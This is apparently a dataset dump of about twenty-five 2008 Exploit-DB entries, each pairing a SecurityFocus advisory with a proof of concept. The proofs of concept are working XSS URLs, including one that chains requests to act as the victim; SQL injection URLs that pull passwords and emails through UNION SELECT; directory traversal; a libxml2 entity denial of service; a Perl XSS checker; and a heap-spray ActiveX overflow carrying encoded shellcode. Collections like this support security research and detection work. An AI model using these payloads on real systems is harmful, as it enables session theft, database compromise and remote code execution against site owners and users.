QLWD/code_shield huggingface dataset:
标题: Dreamcost HostAdmin 3.1 - 'index.php' Cross-Site Scripting EDB-ID: 32453 CVE: 2008-6164 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/31538/info

Dreamcost HostAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

HostAdmin 3.1.1 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?page=[XSS] URL: https://www.exploit-db.com/exploits/32453
标题: Xen 3.3 - XenStore Domain Configuration Data Unsafe Storage EDB-ID: 32446 CVE: 2008-4405 类型: LOCAL 平台: LINUX 发布日期: 2008-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31499/info

Xen is prone to a vulnerability that results in configuration information being stored in a location that is writable by guest domains.

UPDATE (December 19, 2008): The initial proposed patches did not resolve this issue.

Xen 3.3 is vulnerable; other versions may also be affected. 

#yum install xen
# xenstore-write /local/domain/GUEST-DOMID/console/tty /i/am/the/evil/guest URL: https://www.exploit-db.com/exploits/32446
标题: H-Sphere WebShell 4.3.10 - 'actions.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32449 CVE: 2008-4447 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/31524/info

H-Sphere WebShell is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WebShell 4.3.10 is vulnerable; other versions may also be affected. 

http://www.example.com/actions.php?m=dload&fn=%3Ciframe/src=javascript:alert(%27XSS%27)%3E

http://www.example.com/actions.php?m=search&start=1 [POST data: fld=%2F&mask=%3Ciframe%2Fsrc%3Djavascript%3Aalert%280%29%3E]

http://www.example.com/actions.php?m=sysinfo&tab=1'><img/src/onerror=with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};} URL: https://www.exploit-db.com/exploits/32449
标题: WordPress MU 1.2/1.3 - '/wp-admin/wpmu-blogs.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32444 CVE: 2008-4671 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/31482/info

WordPress MU is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to WordPress MU 2.6 are vulnerable.

http://www.example.com/path/wp-admin/wpmu-blogs.php?action=blogs&s=%27[XSS]

http://www.example.com/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=%27[XSS] URL: https://www.exploit-db.com/exploits/32444
标题: Adobe Flash Player 9/10 - SWF Version Null Pointer Dereference Denial of Service EDB-ID: 32452 CVE: 2008-4546 类型: DOS 平台: LINUX 发布日期: 2008-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/31537/info

Adobe Flash Player Plugin is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue will allow attackers to crash the browser that uses the plugin, denying service to legitimate users.

The following versions of Flash Player Plugin are vulnerable:

9.0.45.0
9.0.112.0
9.0.124.0
10.0.12.10

UPDATE (March 11, 2009): Flash Player Plugin 10.0.22.87 is vulnerable.

UPDATE (September 4, 2009): Mac OS X 10.6 reportedly ships with Flash Player 10.0.23.1, which will overwrite any installed version of Flash Player when Mac OS X is being installed.

UPDATE (June 10, 2010): Flash Player 10.1.53.64 and 9.0.227.0 are available. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32452.zip URL: https://www.exploit-db.com/exploits/32452
标题: MySQL 5 - Command Line Client HTML Special Characters HTML Injection EDB-ID: 32445 CVE: 2008-4456 类型: REMOTE 平台: LINUX 发布日期: 2008-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31486/info

MySQL is prone to an HTML-injection vulnerability because the application's command-line client fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

$ mysql --html --execute "select &#039;<a>&#039;" ... <TABLE BORDER=1><TR><TH><a></TH></TR><TR><TD><a></TD></TR></TABLE> URL: https://www.exploit-db.com/exploits/32445
标题: CAcert - 'analyse.php' Cross-Site Scripting EDB-ID: 32443 CVE: 2008-7017 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/31481/info

CAcert is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects versions of the CAcert source code released on or before September 21, 2008. 

openssl req -new -x509 -subj "/CN=<\/pre><script>alert(document.cookies)<\/script><pre>" URL: https://www.exploit-db.com/exploits/32443
标题: libxml2 - Denial of Service EDB-ID: 32454 CVE: 2008-4409 类型: DOS 平台: UNIX 发布日期: 2008-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/31555/info

The libxml2 library is prone to a denial-of-service vulnerability caused by an error when handling files using entities in entity definitions.

An attacker can exploit this issue to cause the library to consume an excessive amount of memory, denying service to legitimate users.

The issue affects libxml2 2.7 prior to 2.7.2. 

XML file:

<?xml version='1.0' ?>
<!DOCTYPE test [
<!ENTITY ampproblem '&amp;'>
]>
<t a="&ampproblem;">a</t> URL: https://www.exploit-db.com/exploits/32454
标题: WikyBlog 1.7.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32450 CVE: 2008-6097 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/31525/info

WikyBlog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WikyBlog 1.7.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php/Special/Main/keywordSearch?key="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Edit/Main/Home?cmd=show&revNum=65"><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Special/Main/WhatLinksHere?to="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/Special/Main/UserEdits?user="><iframe src="http://www.example2.com"></iframe>
http://www.example.com/index.php/"><iframe src="http://www.example2.com"></iframe> URL: https://www.exploit-db.com/exploits/32450
标题: Website Directory - 'index.php' Cross-Site Scripting EDB-ID: 32455 CVE: 2008-4532 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/31562/info

Website Directory is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

#!/usr/bin/perl
##################################
# Coded And Found by Ghost Hacker                                     #
# Home www.Real-h.com                                                         #
# Email Ghost-r00t[at]hotmail[dot]com                                #
##################################

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t# Website Directory - XSS Exploit                      #\n\n";
print "\t\t# by Ghost Hacker [Real-h.com]                         #\n\n";
print "\t\t# Dork : Powered by MaxiScript.com                     #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "  Author   : Ghost Hacker\n";
print "  Home     : www.Real-h.com\n";
print "  Email    : Ghost-r00t[at]Hotmail[dot]com\n";
print "  Download : http://www.maxiscript.com/websitedirectory.php\n";
print "  Usage    : perl Ghost.pl [Host]\n";
print "  Example  : perl Ghost.pl http://Real-h.com/path/\n";
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="index.php?keyword=Xss_Hacking&action=search";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

} URL: https://www.exploit-db.com/exploits/32455
标题: Lyrics Script - 'search_results.php' Cross-Site Scripting EDB-ID: 32431 CVE: 2008-4672 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31437/info

Lyrics Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search_results.php?k= XSS_CODE URL: https://www.exploit-db.com/exploits/32431
标题: OpenNMS 1.5.x - 'filter' Cross-Site Scripting EDB-ID: 32425 CVE: 2008-4320 类型: WEBAPPS 平台: JSP 发布日期: 2008-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31410/info
  
OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/event/list?sortby=id&limit=10&filter=msgsub%3D%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E&filter=iplike%3D*.*.*.* URL: https://www.exploit-db.com/exploits/32425
标题: Recipe Script - 'search.php' Cross-Site Scripting EDB-ID: 32434 CVE: 2008-4669 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31442/info

Recipe Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search.php?keyword= XSS_HACKING URL: https://www.exploit-db.com/exploits/32434
标题: WhoDomLite 1.1.3 - 'wholite.cgi' Cross-Site Scripting EDB-ID: 32430 CVE: 2008-4737 类型: WEBAPPS 平台: CGI 发布日期: 2008-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31436/info

WhoDomLite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WhoDomLite 1.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wholite.cgi?dom= xss_code &tld=com&action=search URL: https://www.exploit-db.com/exploits/32430
标题: Novell ZENworks Desktop Management 6.5 - ActiveX Control 'CanUninstall()' Remote Buffer Overflow EDB-ID: 32429 CVE: 2008-5073 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31435/info

Novell ZENworks Desktop Management ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

ZENworks Desktop Management 6.5 is vulnerable; other versions may also be affected.


< html> < head> < title>Novell ZENWorks for Desktops Version 6.5 Remote (Heap-Based) PoC < /head> < body> < script> var buffa1 = unescape("%uce90%u08bc") do { buffa1 += buffa1; } while (buffa1.length < 0x900000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x1500000); buffa1 += buffa2; buffa1 += unescape("%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); < /script> < object id="victim" classid="clsid:0F517994-A6FA-4F39-BD4B-EC2DF00AEEF1"> < /object> < script language="vbscript"> appName = String(300, "A") + "?????" victim.CanUninstall appName < /script> < /body> < /html> URL: https://www.exploit-db.com/exploits/32429
标题: ClickBank Portal - 'search.php' Cross-Site Scripting EDB-ID: 32432 CVE: 2008-4670 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31438/info

Clickbank Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example is available:

http://www.example.com/search.php
in search box code Xss URL: https://www.exploit-db.com/exploits/32432
标题: OpenNMS 1.5.x - 'j_username' Cross-Site Scripting EDB-ID: 32423 CVE: 2008-4320 类型: WEBAPPS 平台: JSP 发布日期: 2008-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31410/info

OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/j_acegi_security_check?j_username=test'><script>alert('hi');</script>&j_password=test URL: https://www.exploit-db.com/exploits/32423
标题: Achievo 1.3.2 - 'atknodetype' Cross-Site Scripting EDB-ID: 32409 CVE: 2008-6034 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31326/info

Achievo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Achievo 1.3.2; other versions may also be affected. 

http://www.example.com/achievo-1.3.2/dispatch.php?atknodetype= >"><script%20%0a%0d>a lert(document.cookie)%3B</script>&atkaction=adminpim&atklevel=-1&atkprevlevel =0&achievo=cgvuu4c9nv45ofdq8ntv1inm82 URL: https://www.exploit-db.com/exploits/32409
标题: Datalife Engine CMS 7.2 - 'admin.php' Cross-Site Scripting EDB-ID: 32411 CVE: 2008-6406 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31335/info

Datalife Engine CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Datalife Engine CMS 7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/32411
标题: Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections EDB-ID: 32415 CVE: 2008-5998 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/31384/info

The Ajax Checklist module for Drupal is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect versions prior to Ajax Checklist 5.x-1.1. 

http://www.example.com/ajaxchecklist/save/1/2%27,2),(3,3,(select%20pass%20f
rom%20users%20where%20uid=1),3),(4,4,%274/3/4 URL: https://www.exploit-db.com/exploits/32415
标题: OpenNMS 1.5.x - 'Username' Cross-Site Scripting EDB-ID: 32424 CVE: 2008-4320 类型: WEBAPPS 平台: JSP 发布日期: 2008-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31410/info
 
OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/notification/list.jsp?username=%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/32424
标题: EasyRealtorPRO 2008 - 'site_search.php' Multiple SQL Injections EDB-ID: 32418 CVE: 2008-4328 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31401/info

EasyRealtorPRO is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type&search_ordermethod=asc&page=2&item=5'SQL INJECTION

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type&search_ordermethod=asc'SQL INJECTION&page=2&item=5

http://www.example.com/site_search.php?search_purpose=sale&search_type=&search_price_min=&search_price_max=&search_bedroom=1&search_bathroom=1&search_city=&search_state=&search_zip=&search_radius=&search_country=&search_order=type'SQL INJECTION&search_ordermethod=asc&page=2&item=5 URL: https://www.exploit-db.com/exploits/32418
标题: 6rbScript - 'cat.php' SQL Injection EDB-ID: 32410 CVE: 2008-4344 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/31329/info

6rbScript is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cat.php?CatID=-1+union+select+1,concat(aid,0x3a,pwd,0x3a,email),3,4+from+7addad_authors-- URL: https://www.exploit-db.com/exploits/32410
标题: Omnicom Content Platform - 'browser.asp' Directory Traversal EDB-ID: 32412 CVE: 2008-5997 类型: WEBAPPS 平台: ASP 发布日期: 2008-09-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31338/info

Omnicom Content Platform is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

To exploit this issue an attacker may need administrative privileges to the affected application.

Exploiting the issue may allow the attacker to obtain sensitive information that could aid in further attacks.

Omnicom Content Platform 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ocp/admin/fileKontrola/browser.asp?root=/ URL: https://www.exploit-db.com/exploits/32412
标题: Flatpress 0.804 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32421 CVE: 2008-4120 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31407/info

FlatPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to FlatPress 0.804.1 are vulnerable. 

<form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="pass" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/contact.php"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form> URL: https://www.exploit-db.com/exploits/32421
标题: BlueCUBE CMS - 'tienda.php' SQL Injection EDB-ID: 32408 CVE: 2008-6026 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/31323/info

BlueCUBE CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/tienda.php?id=-1+union+select+concat(version(),0x3a,database(),0x3a,user())/* URL: https://www.exploit-db.com/exploits/32408